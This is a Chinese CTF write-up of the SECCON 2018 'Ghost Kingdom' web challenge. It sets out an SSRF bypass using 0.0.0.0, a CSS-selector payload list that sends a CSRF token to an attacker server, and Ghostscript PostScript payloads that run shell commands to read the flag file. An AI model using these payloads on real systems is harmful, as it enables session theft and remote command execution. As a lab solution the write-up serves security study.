题目地址:
http://ghostkingdom.pwn.seccon.jp/FLAG/

ctf.png

题目意思是需要命令执行读取或者getshell

1.png

点击 Go to Top进来是一个登陆页面,注册一个账户登陆。
2.png

菜单这里有三个功能点

第一个功能点:
3.png
给管理员发送消息,可以发送两种类型,正常和着急,功能都是一样的。
4.png
在浏览器中可以看到css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9
进行base64解密看到css= span{background-color:red;color:yellow}

5.png

值在源代码中可以看到在橙色标注处。
6.png
输入的stb在橙色标注处。

尝试输入

7.png

8.png

从这里可以看到尖括号被转义了。
那么 xss 的注入点被限制到了很小的范围,我们仅能通过 <style>span {background: url(xxx)}</style> 的方式发起特定的 GET 请求。
意思就是通过css去访问,详情见css background属性。

第二个功能点:Take a screenshot(截取屏幕截图)
第二项功能比较简单,程序会去访问你指定的 URL 并将相应的结果返回:

9.png

这里用贴吧进行了截图实验,可以看出这里是一个ssrf
10.png

这里提示了您不能使用包含以下关键字的URL:127,:: 1,local
你不能使用local 127 等关键字
11.png
使用http://0.0.0.0 绕过限制,代表的是本机所有ip地址

12.png

XSS + SSRF获取本地登录cookie

在发送消息处看到csrf值与cookies值一样
13.png

如果我们获得了本地的cookies,就可以使用第三个功能点上传了

看了先知的wp,这里可以使用css选择器进行xss
利用 css 选择器进行 xss,泄露出页面的敏感信息。在这里,我们需要泄露的敏感信息是 <input type="hidden" name="csrf" value="48cab678ef3b27b008e60d"> 标签的 value 信息,所以我们可以这样来写 payload:
input[value^=”str”]{backround: url(http://your_server/?csrf=str)}
解释一下,css选择器可以利用这种方式,从开始处匹配input中value参数的值。如果成功匹配则访问后面的url。(^=从左至右匹配,$=从右至左匹配,

可以这样子写payload,csrf是22位,所以需要猜解22位。

input[value^="0"] {background: url(http://server?csrf=0)}
input[value^="1"] {background: url(http://server?csrf=1)}
input[value^="2"] {background: url(http://server?csrf=2)}
input[value^="3"] {background: url(http://server?csrf=3)}
input[value^="4"] {background: url(http://server?csrf=4)}
input[value^="5"] {background: url(http://server?csrf=5)}
input[value^="6"] {background: url(http://server?csrf=6)}
input[value^="7"] {background: url(http://server?csrf=7)}
input[value^="8"] {background: url(http://server?csrf=8)}
input[value^="9"] {background: url(http://server?csrf=9)}
input[value^="a"] {background: url(http://server?csrf=a)}
input[value^="b"] {background: url(http://server?csrf=b)}
input[value^="c"] {background: url(http://server?csrf=c)}
input[value^="d"] {background: url(http://server?csrf=d)}
input[value^="e"] {background: url(http://server?csrf=e)}
input[value^="f"] {background: url(http://server?csrf=f)}

这里用到一个服务端代码来获取csrf_token
14.png
我们可以用python构造payload

15.png
操作过程如下,得使用功能2的ssrf进行访问我们自己的服务器,获取值
1.通过 SSRF 访问 http://0.0.0.0/?user=密码&pass=账号&action=login 在服务端登录,因为需要获取到以localhost身份登陆之后的cookies

16.png
2.通过 SSRF 访问 http://0.0.0.0/?css=payload&action=msgadm2 触发 XSS,逐个字节爆破你的cookie(在服务端里自己的cookie)
3.使用python脚本生成payloads

17.png

猜解出第一位之后把第一位写到value中
访问自己搭建好的脚本进行token写入value中,依次推出
成功获得 cookie值为: b9a0ef701d4b30dXXX1244
然后就可以使用该cookie了,可以看到已经可以上传文件了

18.png
接下来随便上传一个PHP文件
19.png
可以看到报错了,看报错内容
根据报错搜索可以得到相应程序使用的库:imagemagick,然后继续搜索 imagemagick 相关的漏洞,得到 Ghostscript命令执行漏洞,结合题目标题 ghostkingdom,很明显地提示了相应考点:ghostscript 的命令执行
首先上传内容为:
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(ls /var/www/html/FLAG/)) currentdevice
putdeviceprops
的一个jpg文件尝试
再次尝试看内容:

20.png
已经看到FLAG文件名,再次修改poc为:
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(cat /var/www/html/FLAG/FLAGflagF1A8.txt)) currentdevice putdeviceprops
的一个JPG文件进行尝试:
21.png

Flag就出来了,很有意思的一道题目。
原WP:https://xz.aliyun.com/t/3075
参考:http://www.evi1.cn/2018/11/01/SECCON-18-web%E5%A4%8D%E7%8E%B0/
http://www.cnblogs.com/wushangguo/p/9523130.html